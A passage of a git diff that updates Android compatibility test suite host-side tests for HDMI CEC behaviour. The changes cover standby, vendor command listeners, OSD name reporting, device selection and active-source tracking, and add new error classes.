+        previousDeviceAutoOff = setHdmiControlDeviceAutoOff(false);
+        previousPowerControlMode = setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_NONE);
     }
 
     @After
     public void resetDutState() throws Exception {
         /* Wake up the device */
-        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        setHdmiControlDeviceAutoOff(wasOn);
+        wakeUpDevice();
+        setHdmiControlDeviceAutoOff(previousDeviceAutoOff);
+        setPowerControlMode(previousPowerControlMode);
     }
 
     /**
@@ -75,13 +75,15 @@
      */
     @Test
     public void cect_HandleBroadcastStandby() throws Exception {
-        getDevice().reboot();
+        ITestDevice device = getDevice();
+        device.reboot();
         TimeUnit.SECONDS.sleep(5);
         for (LogicalAddress source : mLogicalAddresses) {
             if (!hasLogicalAddress(source)) {
+                WakeLockHelper.acquirePartialWakeLock(device);
                 hdmiCecClient.sendCecMessage(source, LogicalAddress.BROADCAST, CecOperand.STANDBY);
-                checkDeviceAsleepAfterStandbySent();
-            }
+                checkStandbyAndWakeUp();
+    }
         }
     }
 
@@ -91,12 +93,14 @@
      */
     @Test
     public void cect_HandleAddressedStandby() throws Exception {
-        getDevice().reboot();
+        ITestDevice device = getDevice();
+        device.reboot();
         for (LogicalAddress source : mLogicalAddresses) {
             if (!hasLogicalAddress(source)) {
+                WakeLockHelper.acquirePartialWakeLock(device);
                 hdmiCecClient.sendCecMessage(source, CecOperand.STANDBY);
-                checkDeviceAsleepAfterStandbySent();
-            }
+                checkStandbyAndWakeUp();
+    }
         }
     }
 
@@ -110,10 +114,13 @@
          * CEC CTS does not specify for TV a no broadcast on standby test. On Android TVs, there is
          * a feature to turn off this standby broadcast and this test tests the same.
          */
-        ITestDevice device = getDevice();
-        device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-        hdmiCecClient.checkOutputDoesNotContainMessage(LogicalAddress.BROADCAST,
-                CecOperand.STANDBY);
+        sendDeviceToSleep();
+        try {
+            hdmiCecClient.checkOutputDoesNotContainMessage(
+                    LogicalAddress.BROADCAST, CecOperand.STANDBY);
+        } finally {
+            wakeUpDevice();
+        }
     }
 
     private void defineLogicalAddressList() throws Exception {
@@ -125,29 +132,16 @@
         mLogicalAddresses.add(LogicalAddress.AUDIO_SYSTEM);
 
         if (hasDeviceType(HdmiCecConstants.CEC_DEVICE_TYPE_TV)) {
-            //Add logical addresses 13, 14 only for TV panel tests.
+            // Add logical addresses 13, 14 only for TV panel tests.
             mLogicalAddresses.add(LogicalAddress.RESERVED_2);
             mLogicalAddresses.add(LogicalAddress.SPECIFIC_USE);
         }
     }
 
     private boolean setHdmiControlDeviceAutoOff(boolean turnOn) throws Exception {
-        ITestDevice device = getDevice();
-        String val = device.executeShellCommand("settings get global " +
-                HDMI_CONTROL_DEVICE_AUTO_OFF).trim();
-        String valToSet = turnOn ? "1" : "0";
-        device.executeShellCommand("settings put global "
-                + HDMI_CONTROL_DEVICE_AUTO_OFF + " " + valToSet);
-        device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF);
-        return val.equals("1");
-    }
-
-    private void checkDeviceAsleepAfterStandbySent() throws Exception {
-        ITestDevice device = getDevice();
-        TimeUnit.SECONDS.sleep(5);
-        String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
-        assertThat(wakeState.trim()).isEqualTo("mWakefulness=Asleep");
-        device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        TimeUnit.SECONDS.sleep(5);
+        String val = getSettingsValue(TV_SEND_STANDBY_ON_SLEEP);
+        setSettingsValue(TV_SEND_STANDBY_ON_SLEEP, turnOn ? TV_SEND_STANDBY_ON_SLEEP_ENABLED
+                                                          : TV_SEND_STANDBY_ON_SLEEP_DISABLED);
+        return val == TV_SEND_STANDBY_ON_SLEEP_ENABLED;
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
index 596f34c..96e026d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
@@ -17,15 +17,17 @@
 package android.hdmicec.cts.common;
 
 import static com.google.common.truth.Truth.assertThat;
-import static org.junit.Assume.assumeTrue;
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.HdmiControlManagerUtility;
 import android.hdmicec.cts.LogicalAddress;
+import android.hdmicec.cts.LogHelper;
 
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Rule;
@@ -39,6 +41,23 @@
 
     private static final int INCORRECT_VENDOR_ID = 0x0;
 
+    private static final String VENDOR_LISTENER_WITH_ID =
+            "-a android.hdmicec.app.VENDOR_LISTENER_WITH_ID";
+    private static final String VENDOR_LISTENER_WITHOUT_ID =
+            "-a android.hdmicec.app.VENDOR_LISTENER_WITHOUT_ID";
+
+    /** Log confirmation message after listener registration. */
+    private static final String REGISTERED_LISTENER = "Registered vendor command listener";
+
+    /** The TAG that the test class will use. */
+    private static final String TEST_LOG_TAG = "HdmiControlManagerHelper";
+
+    /**
+     * This has to be the same as the vendor ID used in the instrumentation test {@link
+     * HdmiControlManagerHelper#VENDOR_ID}
+     */
+    private static final int VENDOR_ID = 0xBADDAD;
+
     @Rule
     public RuleChain ruleChain =
         RuleChain
@@ -65,6 +84,20 @@
     }
 
     /**
+     * Tests that the device responds to a {@code <GIVE_DEVICE_VENDOR_ID>} when in standby.
+     */
+    @Test
+    public void cectGiveDeviceVendorIdDuringStandby() throws Exception {
+        ITestDevice device = getDevice();
+        try {
+            sendDeviceToSleepAndValidate();
+            cect_11_2_9_1_GiveDeviceVendorId();
+        } finally {
+            wakeUpDevice();
+        }
+    }
+
+    /**
      * Test 11.2.9-2
      * <p>Tests that the device broadcasts a {@code <DEVICE_VENDOR_ID>} message after successful
      * initialisation and address allocation.
@@ -76,4 +109,117 @@
         String message = hdmiCecClient.checkExpectedOutput(CecOperand.DEVICE_VENDOR_ID);
         assertThat(CecMessage.getParams(message)).isNotEqualTo(INCORRECT_VENDOR_ID);
     }
+
+    /* The four following tests test the registration of a callback, and if the callback is received
+     * when the DUT receives a <Vendor Command> message.
+     * When there are no listeners registered, the DUT should respond with <Feature Abort>[Refused].
+     * Since the number of listeners registered is not queryable, the case where there are no
+     * listeners registered is not tested.
+     */
+
+    private Thread registerVendorCmdListenerWithId() {
+        return new Thread(
+                new Runnable() {
+                    public void run() {
+                        try {
+                            HdmiControlManagerUtility.registerVendorCmdListenerWithId(
+                                    HdmiCecVendorCommandsTest.this);
+                        } catch (DeviceNotAvailableException dnae) {
+                            CLog.w("HdmiCecVendorcommandstest", "Device not available exception");
+                        }
+                    }
+                });
+    }
+
+    private Thread registerVendorCmdListenerWithoutId() {
+        return new Thread(
+                new Runnable() {
+                    public void run() {
+                        try {
+                            HdmiControlManagerUtility.registerVendorCmdListenerWithoutId(
+                                    HdmiCecVendorCommandsTest.this);
+                        } catch (DeviceNotAvailableException dnae) {
+                            CLog.w("HdmiCecVendorcommandstest", "Device not available exception");
+                        }
+                    }
+                });
+    }
+
+    @Test
+    public void cecVendorCommandListenerWithVendorIdTest() throws Exception {
+        ITestDevice device = getDevice();
+        Thread test = registerVendorCmdListenerWithId();
+
+        test.start();
+
+        try {
+            LogHelper.waitForLog(getDevice(), TEST_LOG_TAG, 10, REGISTERED_LISTENER);
+            String params = CecMessage.formatParams(VENDOR_ID);
+            params += CecMessage.formatParams("010203");
+            hdmiCecClient.sendCecMessage(
+                    LogicalAddress.TV, CecOperand.VENDOR_COMMAND_WITH_ID, params);
+
+            LogHelper.assertLog(
+                    device, TEST_LOG_TAG, "Received vendor command with correct vendor ID");
+        } finally {
+            test.join();
+        }
+    }
+
+    @Test
+    public void cecVendorCommandListenerReceivesVendorCommandWithoutId() throws Exception {
+        ITestDevice device = getDevice();
+        Thread test = registerVendorCmdListenerWithId();
+        test.start();
+
+        try {
+            LogHelper.waitForLog(getDevice(), TEST_LOG_TAG, 10, REGISTERED_LISTENER);
+
+            String params = CecMessage.formatParams("010203");
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.VENDOR_COMMAND, params);
+
+            LogHelper.assertLog(device, TEST_LOG_TAG, "Received vendor command without vendor ID");
+        } finally {
+            test.join();
+        }
+    }
+
+    @Test
+    public void cecVendorCommandListenerWithoutVendorIdTest() throws Exception {
+        ITestDevice device = getDevice();
+        Thread test = registerVendorCmdListenerWithoutId();
+        test.start();
+
+        try {
+            LogHelper.waitForLog(getDevice(), TEST_LOG_TAG, 10, REGISTERED_LISTENER);
+
+            String params = CecMessage.formatParams("010203");
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.VENDOR_COMMAND, params);
+
+            LogHelper.assertLog(device, TEST_LOG_TAG, "Received vendor command without vendor ID");
+        } finally {
+            test.join();
+        }
+    }
+
+    @Test
+    public void cecVendorCommandListenerWithoutVendorIdDoesNotReceiveTest() throws Exception {
+        ITestDevice device = getDevice();
+        Thread test = registerVendorCmdListenerWithoutId();
+        test.start();
+
+        try {
+            LogHelper.waitForLog(getDevice(), TEST_LOG_TAG, 10, REGISTERED_LISTENER);
+
+            String params = CecMessage.formatParams(VENDOR_ID);
+            params += CecMessage.formatParams("010203");
+            hdmiCecClient.sendCecMessage(
+                    LogicalAddress.TV, CecOperand.VENDOR_COMMAND_WITH_ID, params);
+
+            LogHelper.assertLogDoesNotContain(
+                    device, TEST_LOG_TAG, "Received vendor command with correct vendor ID");
+        } finally {
+            test.join();
+        }
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/error/CecClientWrapperException.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/error/CecClientWrapperException.java
new file mode 100644
index 0000000..b8a6d63
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/error/CecClientWrapperException.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.error;
+
+/**
+ * CecClientWrapperException to be thrown when there are any issues related with the usage of {@link
+ * HdmiCecClientWrapper}.
+ */
+public class CecClientWrapperException extends Exception {
+
+    private ErrorCodes errorCode;
+
+    public CecClientWrapperException(ErrorCodes errorCode) {
+        super(errorCode.getExceptionMessage());
+        this.errorCode = errorCode;
+    }
+
+    public CecClientWrapperException(ErrorCodes errorCode, String messageToBeAppend) {
+        super(errorCode.getExceptionMessage() + messageToBeAppend);
+        this.errorCode = errorCode;
+    }
+
+    public CecClientWrapperException(
+            ErrorCodes errorCode, Throwable cause, String messageToBeAppend) {
+        super(errorCode.getExceptionMessage() + messageToBeAppend, cause);
+        this.errorCode = errorCode;
+    }
+
+    public CecClientWrapperException(ErrorCodes errorCode, Throwable cause) {
+        super(errorCode.getExceptionMessage(), cause);
+        this.errorCode = errorCode;
+    }
+
+    public ErrorCodes getErrorCode() {
+        return this.errorCode;
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/error/DumpsysParseException.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/error/DumpsysParseException.java
new file mode 100644
index 0000000..7645ff3
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/error/DumpsysParseException.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.error;
+
+/** DumpsysParseException to be thrown when there are any issues while parsing the dumpsys. */
+public class DumpsysParseException extends Exception {
+
+    public DumpsysParseException(String message) {
+        super(message);
+    }
+
+    public DumpsysParseException(String message, Throwable cause) {
+        super(message, cause);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/error/ErrorCodes.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/error/ErrorCodes.java
new file mode 100644
index 0000000..4ade5b7
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/error/ErrorCodes.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.error;
+
+/** Enum contains the list of possible causes for an {@link CecClientWrapperException}. */
+public enum ErrorCodes {
+    CecMessageNotFound("Could not find CEC message "),
+    CecMessageFound("Found the CEC message "),
+    CecClientStart("Could not start the cec-client process "),
+    CecClientStop("Could not stop the cec-client process "),
+    CecClientNotRunning("Cec-client not running"),
+    CecPortBusy("Cec port busy "),
+    DeviceNotAvailable("Device not found "),
+    ReadConsole("Exception while reading from the console"),
+    WriteConsole("Exception while writing into the console");
+
+    private final String message;
+
+    public String getExceptionMessage() {
+        return this.message;
+    }
+
+    private ErrorCodes(String message) {
+        this.message = message;
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecActiveTrackingTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecActiveTrackingTest.java
new file mode 100644
index 0000000..76c0688
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecActiveTrackingTest.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.playback;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * HDMI CEC tests verifying power status related messages of the device (CEC 2.0 CTS Section 7.6)
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecActiveTrackingTest extends BaseHdmiCecCtsTest {
+    // Delay to allow the DUT to poll all the non-local logical addresses (seconds)
+    private static final int POLLING_WAIT_TIME = 5;
+    // Delay to wait for the HotplugDetectionAction to pass (seconds)
+    private static final int HOTPLUG_WAIT_TIME = 60;
+
+    public HdmiCecActiveTrackingTest() {
+        super(HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
+    }
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(CecRules.requiresDeviceType(
+                            this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
+                    .around(hdmiCecClient);
+
+    private int createUnusedPhysicalAddress(int usedPhysicalAddress) {
+        if (usedPhysicalAddress == 0x2000) {
+            return 0x2200;
+        }
+        return 0x2000;
+    }
+
+    /**
+     * Tests that the DUT removes a device from the network, when it doesn't answer to the polling
+     * message sent by HotplugDetection action.
+     */
+    @Test
+    public void cect_RemoveDeviceFromNetwork() throws Exception {
+        // Wait for the device discovery action to pass.
+        TimeUnit.SECONDS.sleep(POLLING_WAIT_TIME);
+        // Add Playback 2 in the network.
+        int playback2PhysicalAddress = createUnusedPhysicalAddress(getDumpsysPhysicalAddress());
+        String formattedPhysicalAddress = CecMessage.formatParams(playback2PhysicalAddress,
+                HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
+        String formattedDeviceType = CecMessage.formatParams(
+                HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
+        hdmiCecClient.sendCecMessage(
+                LogicalAddress.PLAYBACK_2,
+                LogicalAddress.BROADCAST,
+                CecOperand.REPORT_PHYSICAL_ADDRESS,
+                formattedPhysicalAddress + formattedDeviceType
+        );
+        String deviceName = "Playback_2";
+        hdmiCecClient.sendCecMessage(
+                LogicalAddress.PLAYBACK_2,
+                LogicalAddress.PLAYBACK_1,
+                CecOperand.SET_OSD_NAME,
+                CecMessage.convertStringToHexParams(deviceName)
+        );
+        // Wait for the first HotplugDetection action to pass.
+        TimeUnit.SECONDS.sleep(HOTPLUG_WAIT_TIME);
+        String deviceList = getDeviceList();
+        assertThat(deviceList).doesNotContain(deviceName);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
index 561b575..afe78d4 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
@@ -21,12 +21,10 @@
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
 
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -39,27 +37,20 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecDeviceOsdNameTest extends BaseHdmiCecCtsTest {
 
-    private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
-
     public HdmiCecDeviceOsdNameTest() {
         super(HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
     }
 
     @Rule
     public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, PLAYBACK_DEVICE))
-            .around(hdmiCecClient);
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
+                    .around(hdmiCecClient);
 
-    /**
-     * Test 11.2.11-1a
-     * Tests that the device responds to a <GIVE_OSD_NAME> with a <SET_OSD_NAME> that has the
-     * correct device name in the parameters.
-     */
-    @Test
-    public void cect_11_2_11_1a_GiveOsdNameTest() throws Exception {
+    private String getDeviceName() throws DeviceNotAvailableException {
         /* The params for <SET_OSD_NAME> only allow for 14 characters */
         final int nameLength = 14;
         ITestDevice device = getDevice();
@@ -67,12 +58,49 @@
         if (deviceName.length() > nameLength) {
             deviceName = deviceName.substring(0, nameLength).trim();
         }
+        return deviceName;
+    }
+
+    /**
+     * Test 11.2.11-1a
+     *
+     * <p>Tests that the device responds to a {@code <GIVE_OSD_NAME>} with a {@code <SET_OSD_NAME>}
+     * that has the correct device name in the parameters.
+     */
+    @Test
+    public void cect_11_2_11_1a_GiveOsdNameTest() throws Exception {
+        String deviceName = getDeviceName();
         hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GIVE_OSD_NAME);
         String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.SET_OSD_NAME);
         assertThat(CecMessage.getAsciiString(message)).isEqualTo(deviceName);
     }
 
     /**
+     * Tests that the device responds to a {@code <GIVE_OSD_NAME>} with a {@code <SET_OSD_NAME>}
+     * that has the correct device name in the parameters in standby mode.
+     */
+    @Test
+    public void cectGiveOsdNameTestInStandby() throws Exception {
+        ITestDevice device = getDevice();
+        try {
+            sendDeviceToSleepAndValidate();
+            String deviceName = getDeviceName();
+            hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GIVE_OSD_NAME);
+            String message =
+                    hdmiCecClient.checkExpectedOutputOrFeatureAbort(
+                            LogicalAddress.TV,
+                            CecOperand.SET_OSD_NAME,
+                            CecOperand.GIVE_OSD_NAME,
+                            HdmiCecConstants.ABORT_NOT_IN_CORRECT_MODE);
+            if (CecMessage.getOperand(message) != CecOperand.FEATURE_ABORT) {
+                assertThat(CecMessage.getAsciiString(message)).isEqualTo(deviceName);
+            }
+        } finally {
+            wakeUpDevice();
+        }
+    }
+
+    /**
      * Test 11.2.11-1b
      * Test updates the device_name in global properties and checks that the device responds to a
      * <GIVE_OSD_NAME> with a <SET_OSD_NAME> that has the updated device name in the parameters.
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceSelectForPlaybackTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceSelectForPlaybackTest.java
new file mode 100644
index 0000000..279bc2b
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceSelectForPlaybackTest.java
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.playback;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.TimeUnit;
+
+/**
+ * HDMI CEC test to verify the device selection API for playback devices
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class HdmiCecDeviceSelectForPlaybackTest extends BaseHdmiCecCtsTest {
+
+
+    public HdmiCecDeviceSelectForPlaybackTest() {
+        super(HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
+    }
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
+                    .around(hdmiCecClient);
+
+    private int getUnusedPhysicalAddress(int initialValue, int usedValue) {
+        if (initialValue == usedValue)
+            return 0x2000;
+        return initialValue;
+    }
+
+    private void reportPhysicalAddress(LogicalAddress logicalAddress, int physicalAddress,
+            int deviceType) throws Exception {
+        String formattedPhysicalAddress = CecMessage.formatParams(physicalAddress,
+                HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH);
+        String formattedDeviceType = CecMessage.formatParams(deviceType);
+        hdmiCecClient.sendCecMessage(
+                logicalAddress,
+                LogicalAddress.BROADCAST,
+                CecOperand.REPORT_PHYSICAL_ADDRESS,
+                formattedPhysicalAddress + formattedDeviceType
+        );
+    }
+
+    /**
+     * Tests that the DUT sends a {@code <Routing Change>} when a different device
+     * from the network is selected.
+     */
+    @Test
+    public void cectDeviceSelectDifferentSource() throws Exception {
+        // Store previous power state change on active source lost.
+        // Set the power state change to none, such that the device won't go to sleep when the
+        // active source is changed.
+        String previousPowerStateChange = setPowerStateChangeOnActiveSourceLost(
+                HdmiCecConstants.POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST_NONE);
+        try {
+            int dumpsysPhysicalAddress = getDumpsysPhysicalAddress();
+            // Add Playback 2 in the network.
+            int playback2PhysicalAddress = getUnusedPhysicalAddress(
+                    0x2200, dumpsysPhysicalAddress);
+            reportPhysicalAddress(LogicalAddress.PLAYBACK_2, playback2PhysicalAddress,
+                    HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
+            // Make Playback 3 the active source.
+            int playback3PhysicalAddress = getUnusedPhysicalAddress(
+                    0x2300, dumpsysPhysicalAddress);
+            reportPhysicalAddress(LogicalAddress.PLAYBACK_3, playback3PhysicalAddress,
+                    HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
+            hdmiCecClient.broadcastActiveSource(LogicalAddress.PLAYBACK_3, playback3PhysicalAddress);
+            // Wait for the <Active Source> message to be processed by the DUT.
+            TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+            // Select Playback 2 and check if the expected message with the source and the
+            // target physical addresses is sent.
+            ITestDevice device = getDevice();
+            device.executeShellCommand("cmd hdmi_control deviceselect "
+                    + LogicalAddress.PLAYBACK_2);
+            String message = hdmiCecClient.checkExpectedOutput(CecOperand.ROUTING_CHANGE);
+            CecMessage.assertPhysicalAddressValid(message, playback3PhysicalAddress);
+            CecMessage.assertTargetPhysicalAddressValid(message,
+                    playback2PhysicalAddress);
+        } finally {
+            // Restore the previous power state change.
+            setPowerStateChangeOnActiveSourceLost(previousPowerStateChange);
+        }
+    }
+
+    /**
+     * Tests that the DUT sends {@code <Text View On>} and {@code <Active Source>} messages
+     * when it selects itself. The message is the result of an One Touch Play action.
+     */
+    @Test
+    public void cectDeviceSelectSameSource() throws Exception {
+        int dumpsysPhysicalAddress = getDumpsysPhysicalAddress();
+        int playback2PhysicalAddress = getUnusedPhysicalAddress(
+                HdmiCecConstants.DEFAULT_PHYSICAL_ADDRESS, dumpsysPhysicalAddress);
+        // Store previous power state change on active source lost.
+        // Set the power state change to none, such that the device won't go to sleep when the
+        // active source is changed.
+        String previousPowerStateChange = setPowerStateChangeOnActiveSourceLost("none");
+        try {
+            // Make Playback 2 the active source.
+            hdmiCecClient.broadcastActiveSource(LogicalAddress.PLAYBACK_2,
+                    playback2PhysicalAddress);
+            // Wait for the <Active Source> message to be processed by the DUT.
+            TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+            // Select Playback 1 and check if the expected <Text View On> and <Active Source>
+            // messages are sent.
+            ITestDevice device = getDevice();
+            device.executeShellCommand(
+                    "cmd hdmi_control deviceselect " + LogicalAddress.PLAYBACK_1);
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.TEXT_VIEW_ON);
+            String message = hdmiCecClient.checkExpectedOutput(CecOperand.ACTIVE_SOURCE);
+            CecMessage.assertPhysicalAddressValid(message, dumpsysPhysicalAddress);
+        } finally {
+            // Restore the previous power state change.
+            setPowerStateChangeOnActiveSourceLost(previousPowerStateChange);
+        }
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
index 1fa1702..7a8e3d4 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecOneTouchPlayTest.java
@@ -19,16 +19,12 @@
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredFeatureRule;
-import android.hdmicec.cts.RequiredPropertyRule;
 
 import com.android.tradefed.device.ITestDevice;
